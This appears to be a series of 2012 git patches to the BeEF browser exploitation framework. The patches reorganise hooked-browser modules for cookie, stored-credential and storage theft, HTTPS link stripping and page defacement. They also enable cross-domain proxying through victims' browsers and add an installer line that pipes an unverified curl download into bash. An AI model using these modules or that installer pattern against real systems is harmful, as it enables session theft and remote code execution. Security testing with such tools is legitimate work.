modules/hooked_domain/ajax_fingerprint/config.yaml rename to modules/browser/hooked_domain/ajax_fingerprint/config.yaml index b1cd1b6ce..fb4f54fc8 100644 --- a/modules/hooked_domain/ajax_fingerprint/config.yaml +++ b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml @@ -17,7 +17,7 @@ beef: module: ajax_fingerprint: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Fingerprint Ajax" description: "Fingerprint Ajax and JS libraries present on the hooked page." authors: ["qswain"] diff --git a/modules/hooked_domain/ajax_fingerprint/module.rb b/modules/browser/hooked_domain/ajax_fingerprint/module.rb similarity index 100% rename from modules/hooked_domain/ajax_fingerprint/module.rb rename to modules/browser/hooked_domain/ajax_fingerprint/module.rb diff --git a/modules/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_domain/alert_dialog/command.js similarity index 100% rename from modules/hooked_domain/alert_dialog/command.js rename to modules/browser/hooked_domain/alert_dialog/command.js diff --git a/modules/hooked_domain/alert_dialog/config.yaml b/modules/browser/hooked_domain/alert_dialog/config.yaml similarity index 94% rename from modules/hooked_domain/alert_dialog/config.yaml rename to modules/browser/hooked_domain/alert_dialog/config.yaml index 1e7c1e477..a5572a41d 100644 --- a/modules/hooked_domain/alert_dialog/config.yaml +++ b/modules/browser/hooked_domain/alert_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: alert_dialog: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Create Alert Dialog" description: "Sends an alert dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/hooked_domain/alert_dialog/module.rb b/modules/browser/hooked_domain/alert_dialog/module.rb similarity index 100% rename from modules/hooked_domain/alert_dialog/module.rb rename to modules/browser/hooked_domain/alert_dialog/module.rb diff --git a/modules/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_domain/deface_web_page/command.js similarity index 100% rename from modules/hooked_domain/deface_web_page/command.js rename to modules/browser/hooked_domain/deface_web_page/command.js diff --git a/modules/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_domain/deface_web_page/config.yaml similarity index 94% rename from modules/hooked_domain/deface_web_page/config.yaml rename to modules/browser/hooked_domain/deface_web_page/config.yaml index 8d6b99fa5..dad8c8070 100644 --- a/modules/hooked_domain/deface_web_page/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page/config.yaml @@ -17,7 +17,7 @@ beef: module: deface_web_page: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace Content (Deface)" description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string." authors: ["antisnatchor"] diff --git a/modules/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_domain/deface_web_page/module.rb similarity index 100% rename from modules/hooked_domain/deface_web_page/module.rb rename to modules/browser/hooked_domain/deface_web_page/module.rb diff --git a/modules/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js similarity index 100% rename from modules/hooked_domain/get_cookie/command.js rename to modules/browser/hooked_domain/get_cookie/command.js diff --git a/modules/hooked_domain/get_cookie/config.yaml b/modules/browser/hooked_domain/get_cookie/config.yaml similarity index 94% rename from modules/hooked_domain/get_cookie/config.yaml rename to modules/browser/hooked_domain/get_cookie/config.yaml index a2f4c3d77..b535101ef 100644 --- a/modules/hooked_domain/get_cookie/config.yaml +++ b/modules/browser/hooked_domain/get_cookie/config.yaml @@ -17,7 +17,7 @@ beef: module: get_cookie: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Cookie" description: "This module will retrieve the session cookie from the current page." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_cookie/module.rb b/modules/browser/hooked_domain/get_cookie/module.rb similarity index 100% rename from modules/hooked_domain/get_cookie/module.rb rename to modules/browser/hooked_domain/get_cookie/module.rb diff --git a/modules/hooked_domain/get_local_storage/command.js b/modules/browser/hooked_domain/get_local_storage/command.js similarity index 100% rename from modules/hooked_domain/get_local_storage/command.js rename to modules/browser/hooked_domain/get_local_storage/command.js diff --git a/modules/hooked_domain/get_local_storage/config.yaml b/modules/browser/hooked_domain/get_local_storage/config.yaml similarity index 96% rename from modules/hooked_domain/get_local_storage/config.yaml rename to modules/browser/hooked_domain/get_local_storage/config.yaml index dbafcdef0..2d6d5a011 100644 --- a/modules/hooked_domain/get_local_storage/config.yaml +++ b/modules/browser/hooked_domain/get_local_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_local_storage: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Local Storage" description: "Extracts data from the HTML5 localStorage object." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_local_storage/module.rb b/modules/browser/hooked_domain/get_local_storage/module.rb similarity index 100% rename from modules/hooked_domain/get_local_storage/module.rb rename to modules/browser/hooked_domain/get_local_storage/module.rb diff --git a/modules/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js similarity index 100% rename from modules/hooked_domain/get_page_html/command.js rename to modules/browser/hooked_domain/get_page_html/command.js diff --git a/modules/hooked_domain/get_page_html/config.yaml b/modules/browser/hooked_domain/get_page_html/config.yaml similarity index 94% rename from modules/hooked_domain/get_page_html/config.yaml rename to modules/browser/hooked_domain/get_page_html/config.yaml index c4c81fa99..77e2e9109 100644 --- a/modules/hooked_domain/get_page_html/config.yaml +++ b/modules/browser/hooked_domain/get_page_html/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_html: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Page HTML" description: "This module will retrieve the HTML from the current page." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_page_html/module.rb b/modules/browser/hooked_domain/get_page_html/module.rb similarity index 100% rename from modules/hooked_domain/get_page_html/module.rb rename to modules/browser/hooked_domain/get_page_html/module.rb diff --git a/modules/hooked_domain/get_page_links/command.js b/modules/browser/hooked_domain/get_page_links/command.js similarity index 100% rename from modules/hooked_domain/get_page_links/command.js rename to modules/browser/hooked_domain/get_page_links/command.js diff --git a/modules/hooked_domain/get_page_links/config.yaml b/modules/browser/hooked_domain/get_page_links/config.yaml similarity index 94% rename from modules/hooked_domain/get_page_links/config.yaml rename to modules/browser/hooked_domain/get_page_links/config.yaml index 190f1f1ab..fd0422e2e 100644 --- a/modules/hooked_domain/get_page_links/config.yaml +++ b/modules/browser/hooked_domain/get_page_links/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_links: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Page HREFs" description: "This module will retrieve HREFs from the target page." authors: ["vo"] diff --git a/modules/hooked_domain/get_page_links/module.rb b/modules/browser/hooked_domain/get_page_links/module.rb similarity index 100% rename from modules/hooked_domain/get_page_links/module.rb rename to modules/browser/hooked_domain/get_page_links/module.rb diff --git a/modules/hooked_domain/get_session_storage/command.js b/modules/browser/hooked_domain/get_session_storage/command.js similarity index 100% rename from modules/hooked_domain/get_session_storage/command.js rename to modules/browser/hooked_domain/get_session_storage/command.js diff --git a/modules/hooked_domain/get_session_storage/config.yaml b/modules/browser/hooked_domain/get_session_storage/config.yaml similarity index 96% rename from modules/hooked_domain/get_session_storage/config.yaml rename to modules/browser/hooked_domain/get_session_storage/config.yaml index 16719c9da..417d52853 100644 --- a/modules/hooked_domain/get_session_storage/config.yaml +++ b/modules/browser/hooked_domain/get_session_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_session_storage: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Session Storage" description: "Extracts data from the HTML5 sessionStorage object." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_session_storage/module.rb b/modules/browser/hooked_domain/get_session_storage/module.rb similarity index 100% rename from modules/hooked_domain/get_session_storage/module.rb rename to modules/browser/hooked_domain/get_session_storage/module.rb diff --git a/modules/hooked_domain/get_stored_credentials/command.js b/modules/browser/hooked_domain/get_stored_credentials/command.js similarity index 100% rename from modules/hooked_domain/get_stored_credentials/command.js rename to modules/browser/hooked_domain/get_stored_credentials/command.js diff --git a/modules/hooked_domain/get_stored_credentials/config.yaml b/modules/browser/hooked_domain/get_stored_credentials/config.yaml similarity index 95% rename from modules/hooked_domain/get_stored_credentials/config.yaml rename to modules/browser/hooked_domain/get_stored_credentials/config.yaml index 486ef8950..ad865fbc1 100644 --- a/modules/hooked_domain/get_stored_credentials/config.yaml +++ b/modules/browser/hooked_domain/get_stored_credentials/config.yaml @@ -17,7 +17,7 @@ beef: module: get_stored_credentials: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Stored Credentials" description: "This module retrieves saved username/password combinations from the login page on the hooked domain.

It will fail if more than one set of domain credentials are saved in the browser." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_stored_credentials/module.rb b/modules/browser/hooked_domain/get_stored_credentials/module.rb similarity index 100% rename from modules/hooked_domain/get_stored_credentials/module.rb rename to modules/browser/hooked_domain/get_stored_credentials/module.rb diff --git a/modules/hooked_domain/link_rewrite/command.js b/modules/browser/hooked_domain/link_rewrite/command.js similarity index 100% rename from modules/hooked_domain/link_rewrite/command.js rename to modules/browser/hooked_domain/link_rewrite/command.js diff --git a/modules/hooked_domain/link_rewrite/config.yaml b/modules/browser/hooked_domain/link_rewrite/config.yaml similarity index 94% rename from modules/hooked_domain/link_rewrite/config.yaml rename to modules/browser/hooked_domain/link_rewrite/config.yaml index 5d6315975..a2420dcae 100644 --- a/modules/hooked_domain/link_rewrite/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace HREFs" description: "This module will rewrite all the href attributes of all matched links." authors: ["passbe"] diff --git a/modules/hooked_domain/link_rewrite/module.rb b/modules/browser/hooked_domain/link_rewrite/module.rb similarity index 100% rename from modules/hooked_domain/link_rewrite/module.rb rename to modules/browser/hooked_domain/link_rewrite/module.rb diff --git a/modules/hooked_domain/link_rewrite_sslstrip/command.js b/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js similarity index 100% rename from modules/hooked_domain/link_rewrite_sslstrip/command.js rename to modules/browser/hooked_domain/link_rewrite_sslstrip/command.js diff --git a/modules/hooked_domain/link_rewrite_sslstrip/config.yaml b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml similarity index 95% rename from modules/hooked_domain/link_rewrite_sslstrip/config.yaml rename to modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml index bcb1d305f..ab5dbbee4 100644 --- a/modules/hooked_domain/link_rewrite_sslstrip/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite_sslstrip: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace HREFs (HTTPS)" description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten." authors: ["bcoles"] diff --git a/modules/hooked_domain/link_rewrite_sslstrip/module.rb b/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb similarity index 100% rename from modules/hooked_domain/link_rewrite_sslstrip/module.rb rename to modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb diff --git a/modules/hooked_domain/prompt_dialog/command.js b/modules/browser/hooked_domain/prompt_dialog/command.js similarity index 100% rename from modules/hooked_domain/prompt_dialog/command.js rename to modules/browser/hooked_domain/prompt_dialog/command.js diff --git a/modules/hooked_domain/prompt_dialog/config.yaml b/modules/browser/hooked_domain/prompt_dialog/config.yaml similarity index 94% rename from modules/hooked_domain/prompt_dialog/config.yaml rename to modules/browser/hooked_domain/prompt_dialog/config.yaml index b786633cb..8b3f21ac4 100644 --- a/modules/hooked_domain/prompt_dialog/config.yaml +++ b/modules/browser/hooked_domain/prompt_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: prompt_dialog: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Create Prompt Dialog" description: "Sends a prompt dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/hooked_domain/prompt_dialog/module.rb b/modules/browser/hooked_domain/prompt_dialog/module.rb similarity index 100% rename from modules/hooked_domain/prompt_dialog/module.rb rename to modules/browser/hooked_domain/prompt_dialog/module.rb diff --git a/modules/hooked_domain/replace_video/command.js b/modules/browser/hooked_domain/replace_video/command.js similarity index 100% rename from modules/hooked_domain/replace_video/command.js rename to modules/browser/hooked_domain/replace_video/command.js diff --git a/modules/hooked_domain/replace_video/config.yaml b/modules/browser/hooked_domain/replace_video/config.yaml similarity index 95% rename from modules/hooked_domain/replace_video/config.yaml rename to modules/browser/hooked_domain/replace_video/config.yaml index d0de2f081..9fb293c7e 100644 --- a/modules/hooked_domain/replace_video/config.yaml +++ b/modules/browser/hooked_domain/replace_video/config.yaml @@ -17,7 +17,7 @@ beef: module: replace_video: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace Videos" description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)." authors: ["Yori Kvitchko", "antisnatchor"] diff --git a/modules/hooked_domain/replace_video/module.rb b/modules/browser/hooked_domain/replace_video/module.rb similarity index 100% rename from modules/hooked_domain/replace_video/module.rb rename to modules/browser/hooked_domain/replace_video/module.rb diff --git a/modules/hooked_domain/rickroll/command.js b/modules/browser/hooked_domain/rickroll/command.js similarity index 100% rename from modules/hooked_domain/rickroll/command.js rename to modules/browser/hooked_domain/rickroll/command.js diff --git a/modules/hooked_domain/rickroll/config.yaml b/modules/browser/hooked_domain/rickroll/config.yaml similarity index 94% rename from modules/hooked_domain/rickroll/config.yaml rename to modules/browser/hooked_domain/rickroll/config.yaml index 0335b05ce..d8014fcc2 100644 --- a/modules/hooked_domain/rickroll/config.yaml +++ b/modules/browser/hooked_domain/rickroll/config.yaml @@ -17,7 +17,7 @@ beef: module: rickroll: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser (Rickroll)" description: "Overwrite the body of the page the victim is on with a full screen Rickroll." authors: ["Yori Kvitchko"] diff --git a/modules/hooked_domain/rickroll/module.rb b/modules/browser/hooked_domain/rickroll/module.rb similarity index 100% rename from modules/hooked_domain/rickroll/module.rb rename to modules/browser/hooked_domain/rickroll/module.rb diff --git a/modules/hooked_domain/site_redirect/command.js b/modules/browser/hooked_domain/site_redirect/command.js similarity index 100% rename from modules/hooked_domain/site_redirect/command.js rename to modules/browser/hooked_domain/site_redirect/command.js diff --git a/modules/hooked_domain/site_redirect/config.yaml b/modules/browser/hooked_domain/site_redirect/config.yaml similarity index 94% rename from modules/hooked_domain/site_redirect/config.yaml rename to modules/browser/hooked_domain/site_redirect/config.yaml index a033f29ae..306c3e7a2 100644 --- a/modules/hooked_domain/site_redirect/config.yaml +++ b/modules/browser/hooked_domain/site_redirect/config.yaml @@ -17,7 +17,7 @@ beef: module: site_redirect: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser" description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input." authors: ["wade", "vo"] diff --git a/modules/hooked_domain/site_redirect/module.rb b/modules/browser/hooked_domain/site_redirect/module.rb similarity index 100% rename from modules/hooked_domain/site_redirect/module.rb rename to modules/browser/hooked_domain/site_redirect/module.rb diff --git a/modules/hooked_domain/site_redirect_iframe/command.js b/modules/browser/hooked_domain/site_redirect_iframe/command.js similarity index 100% rename from modules/hooked_domain/site_redirect_iframe/command.js rename to modules/browser/hooked_domain/site_redirect_iframe/command.js diff --git a/modules/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml similarity index 95% rename from modules/hooked_domain/site_redirect_iframe/config.yaml rename to modules/browser/hooked_domain/site_redirect_iframe/config.yaml index 2f6e62898..1cc2d82bf 100644 --- a/modules/hooked_domain/site_redirect_iframe/config.yaml +++ b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml @@ -17,7 +17,7 @@ beef: module: site_redirect_iframe: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser (iFrame)" description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." authors: ["ethicalhack3r", "Yori Kvitchko"] diff --git a/modules/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_domain/site_redirect_iframe/module.rb similarity index 100% rename from modules/hooked_domain/site_redirect_iframe/module.rb rename to modules/browser/hooked_domain/site_redirect_iframe/module.rb From 1fd66bce1e4faad3b9859844651d8b7524174544 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Sun, 13 May 2012 13:08:13 +1200 Subject: [PATCH 05/19] Issue #666 Proxy now uses forge_request, allowing cross domaian requests, for instances where SOP bypass is available --- core/main/client/net.js | 19 +++++++++++-------- extensions/proxy/proxy.rb | 4 ++-- 2 files changed, 13 insertions(+), 10 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 84c6305f7..e48920b0d 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -176,9 +176,9 @@ beef.net = { $j.ajaxSetup({ dataType: dataType }); - }else{ //GET, HEAD, ... + }else if ( beef.browser.isIE() ) { //set dataType script when GET, HEAD, for IE only $j.ajaxSetup({ - dataType: 'script' + dataType: 'script' }); } @@ -286,8 +286,13 @@ beef.net = { }); } + // this is required for bugs in IE so data can be transfered back to the server + if ( beef.browser.isIE() ) { + dataType = 'script' + } + $j.ajax({type: method, - dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server + dataType: dataType, url: url, headers: headers, timeout: (timeout * 1000), @@ -324,11 +329,9 @@ beef.net = { complete: function(xhr, textStatus) { // cross-domain request if (cross_domain) { - response.status_code = -1; - response.status_text = "crossdomain"; - response.port_status = "crossdomain"; - response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; - response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + response.status_code = xhr.status; + response.status_text = textStatus; + response.headers = xhr.getAllResponseHeaders(); } else { // same-domain request response.status_code = xhr.status; diff --git a/extensions/proxy/proxy.rb b/extensions/proxy/proxy.rb index eb4ee0dca..3dfdb6cd4 100644 --- a/extensions/proxy/proxy.rb +++ b/extensions/proxy/proxy.rb @@ -82,10 +82,10 @@ module BeEF :path => uri.path, :request_date => Time.now, :hooked_browser_id => self.get_tunneling_proxy, - :allow_cross_domain => "false" + :allow_cross_domain => "true" ) http.save - print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]") + print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]") # Wait for the HTTP response to be stored in the db. # TODO: re-implement this with EventMachine or with the Observer pattern. From 2f7d98c7a79d58b005bd9916213b1be814a02e50 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 14 May 2012 17:45:03 +0930 Subject: [PATCH 06/19] Fixed bug in core/main/client/net.js ALL requests (modules, requester, etc) were failing in Firefox since commit 1fd66bce1e4faad3b9859844651d8b7524174544 --- core/main/client/net.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index e48920b0d..82254d12b 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -176,7 +176,7 @@ beef.net = { $j.ajaxSetup({ dataType: dataType }); - }else if ( beef.browser.isIE() ) { //set dataType script when GET, HEAD, for IE only + } else { $j.ajaxSetup({ dataType: 'script' }); From 78b88ee09fc0b1f378a9d6980c16175bebbd3c59 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 14 May 2012 18:57:44 +0930 Subject: [PATCH 07/19] Changed status/port status info for cross-domain request history --- core/main/client/net.js | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 82254d12b..278208df4 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -286,7 +286,7 @@ beef.net = { }); } - // this is required for bugs in IE so data can be transfered back to the server + // this is required for bugs in IE so data can be transfered back to the server if ( beef.browser.isIE() ) { dataType = 'script' } @@ -329,9 +329,31 @@ beef.net = { complete: function(xhr, textStatus) { // cross-domain request if (cross_domain) { - response.status_code = xhr.status; - response.status_text = textStatus; - response.headers = xhr.getAllResponseHeaders(); + + response.port_status = "crossdomain"; + + if (xhr.status != 0) { + response.status_code = xhr.status; + } else { + response.status_code = -1; + } + + if (textStatus) { + response.status_text = textStatus; + } else { + response.status_text = "crossdomain"; + } + + if (xhr.getAllResponseHeaders()) { + response.headers = xhr.getAllResponseHeaders(); + } else { + response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + } + + if (!response.response_body) { + response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + } + } else { // same-domain request response.status_code = xhr.status; From 3c7686e1969c46580fef592eb6a5cfec3f90872c Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Mon, 14 May 2012 18:12:45 +0800 Subject: [PATCH 08/19] Nested command modules are now also sorted, and sub-folders include children count. Fuck yeah recursion111. Issue #550 --- .../admin_ui/controllers/modules/modules.rb | 51 ++++++++++++++----- 1 file changed, 37 insertions(+), 14 deletions(-) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index cfcf2ce2f..17d757e29 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -511,7 +511,39 @@ class Modules < BeEF::Extension::AdminUI::HttpController return parent end end - + + #Recursive function to sort all the parent's children + def sort_recursive_tree(parent) + # sort the children nodes by status and name + parent.each {|x| + #print_info "Sorting: " + x['children'].to_s + if x.is_a?(Hash) and x.has_key?('children') + x['children'] = x['children'].sort_by {|a| + fldr = a['cls'] ? a['cls'] : 'zzzzz' + "#{fldr}#{a['status']}#{a['text']}" + } + x['children'].each {|c| + sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' + } + end + } + end + + #Recursive function to retitle folders with the number of children + def retitle_recursive_tree(parent) + # append the number of command modules so the branch name results in: " (num)" + parent.each {|command_module_branch| + if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children') + num_of_command_modules = command_module_branch['children'].length + command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" + + command_module_branch['children'].each {|c| + retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' + } + end + } + end + # Returns the list of all command_modules for a TreePanel in the interface. def select_command_modules_tree blanktree = [] @@ -571,20 +603,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController # sort the parent array nodes tree.sort! {|a,b| a['text'] <=> b['text']} - # sort the children nodes by status and name - tree.each {|x| x['children'] = - #Thanks a lot guys, thanks to the sub-folders this gets way more quirky .. - #Although, the sorting trick below is pretty funny :P - x['children'].sort_by {|a| - fldr = a['cls'] ? a['cls'] : 'zzzzz' - "#{fldr}#{a['status']}#{a['text']}"} - } + sort_recursive_tree(tree) + + retitle_recursive_tree(tree) - # append the number of command modules so the branch name results in: " (num)" - tree.each {|command_module_branch| - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - } + # return a JSON array of hashes @body = tree.to_json From 1335f57a4664876f6b836822d2c233ae5db47623 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 14 May 2012 20:29:18 +0930 Subject: [PATCH 09/19] Browser plugins are now passed through unique() --- core/main/client/browser.js | 54 +++++++++++++++++++++---------------- 1 file changed, 31 insertions(+), 23 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 321d5f0c4..53d6505e5 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -597,29 +597,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo * Returns the list of plugins installed in the browser. */ getPlugins: function() { - var results = ''; - if (this.isIE()) - { - results = this.getPluginsIE(); - } else { - if (navigator.plugins && navigator.plugins.length > 0) - { - var length = navigator.plugins.length; - for (var i=0; i < length; i++) - { - if (i != 0) - results += '\n'; - if(beef.browser.isFF()){ //FF returns exact plugin versions - results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version; - }else{ // Webkit and Presto (Opera) doesn't support the version attribute, and - // sometimes they store plugin version in description (Real, Adobe) - results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; - } - } - } else { - results = 'navigator.plugins is not supported in this browser!'; - } - } + + var results; + Array.prototype.unique = function() { + var o = {}, i, l = this.length, r = []; + for(i=0; i 0) { + results = new Array(); + for (var i=0; i < navigator.plugins.length; i++) { + + // Firefox returns exact plugin versions + if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version; + + // Webkit and Presto (Opera) + // Don't support the version attribute + // Sometimes store the version in description (Real, Adobe) + else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; + } + results = results.unique().toString(); + + // All browsers that don't support navigator.plugins + } else results = 'navigator.plugins is not supported in this browser!'; + + // Return results return results; }, From b9c9df93e1fd36aa15dc917fe4942a225f7f6bdc Mon Sep 17 00:00:00 2001 From: Ben Waugh Date: Tue, 15 May 2012 18:27:35 +1000 Subject: [PATCH 10/19] Updated Installer Script Improved Debian/Ubuntu installer Added Disclaimer Message/Opt Out --- install-beef | 37 ++++++++++++++++++++++++++++++------- 1 file changed, 30 insertions(+), 7 deletions(-) diff --git a/install-beef b/install-beef index 2c2401b20..2669588ff 100644 --- a/install-beef +++ b/install-beef @@ -18,6 +18,17 @@ clear echo "======================================" echo " BeEF Installer " echo "======================================" +echo "" + +echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies." +echo "" +echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems." +echo "" +read -p "Are you sure you wish to continue (Y/n)? " +if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then + exit; +fi + echo "" echo "Detecting OS.."; @@ -52,7 +63,6 @@ if [ "$OS" == "Darwin" ]; then bundle install OK="yes" - cd beef ./beef echo "" @@ -69,17 +79,31 @@ if [ "$Distro" == "Debian" ]; then echo "Debian/Ubuntu Detected" echo "Installing Prerequisite Packages.." sudo apt-get update - sudo apt-get install ruby1.9.1-dev build-essential libsqlite3-ruby libsqlite3-dev build-essential libsqlite3-ruby git libsqlite3-dev rake + sudo apt-get install curl git + + + +sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion + +bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) + +echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc + +source ~/.bashrc +source $HOME/.rvm/scripts/rvm + + rvm install 1.9.2 + rvm use 1.9.2 --default echo "Downloading BeEF.." git clone git://github.com/beefproject/beef.git cd beef echo "Installing Ruby Gems" - sudo gem install bundler - sudo bundle install + gem install bundler + bundle install + - cd beef ./beef OK="yes" @@ -115,7 +139,6 @@ if [ "$Distro" == "RedHat" ]; then source ~/.bash_profile - cd beef ./beef OK="yes" @@ -128,7 +151,7 @@ if [ "$Distro" == "RedHat" ]; then fi if [ "$OK" == "yes" ]; then - +echo "" else echo "" echo "=======================================" From 594e745694aa0efc1b7e0897b0b437f50796e0b9 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 15 May 2012 17:47:05 +0930 Subject: [PATCH 11/19] Added favicon support to deface_web_page and site_redirect_iframe modules Fixes issue #491 --- modules/browser/hooked_domain/deface_web_page/command.js | 3 +++ modules/browser/hooked_domain/deface_web_page/config.yaml | 2 +- modules/browser/hooked_domain/deface_web_page/module.rb | 4 ++++ modules/browser/hooked_domain/site_redirect_iframe/command.js | 2 ++ .../browser/hooked_domain/site_redirect_iframe/config.yaml | 2 +- modules/browser/hooked_domain/site_redirect_iframe/module.rb | 4 ++++ 6 files changed, 15 insertions(+), 2 deletions(-) diff --git a/modules/browser/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_domain/deface_web_page/command.js index 1c43fa298..feff12512 100644 --- a/modules/browser/hooked_domain/deface_web_page/command.js +++ b/modules/browser/hooked_domain/deface_web_page/command.js @@ -14,7 +14,10 @@ // limitations under the License. // beef.execute(function() { + document.body.innerHTML = "<%= @deface_content %>"; + document.title = "<%= @deface_title %>"; + beef.browser.changeFavicon("<%= @deface_favicon %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful"); }); diff --git a/modules/browser/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_domain/deface_web_page/config.yaml index dad8c8070..22e8fdd4d 100644 --- a/modules/browser/hooked_domain/deface_web_page/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Browser","Hooked Domain"] name: "Replace Content (Deface)" - description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string." + description: "Overwrite the page, title and shortcut icon on the hooked page." authors: ["antisnatchor"] target: user_notify: ['ALL'] diff --git a/modules/browser/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_domain/deface_web_page/module.rb index d624577d8..ec5affdfc 100644 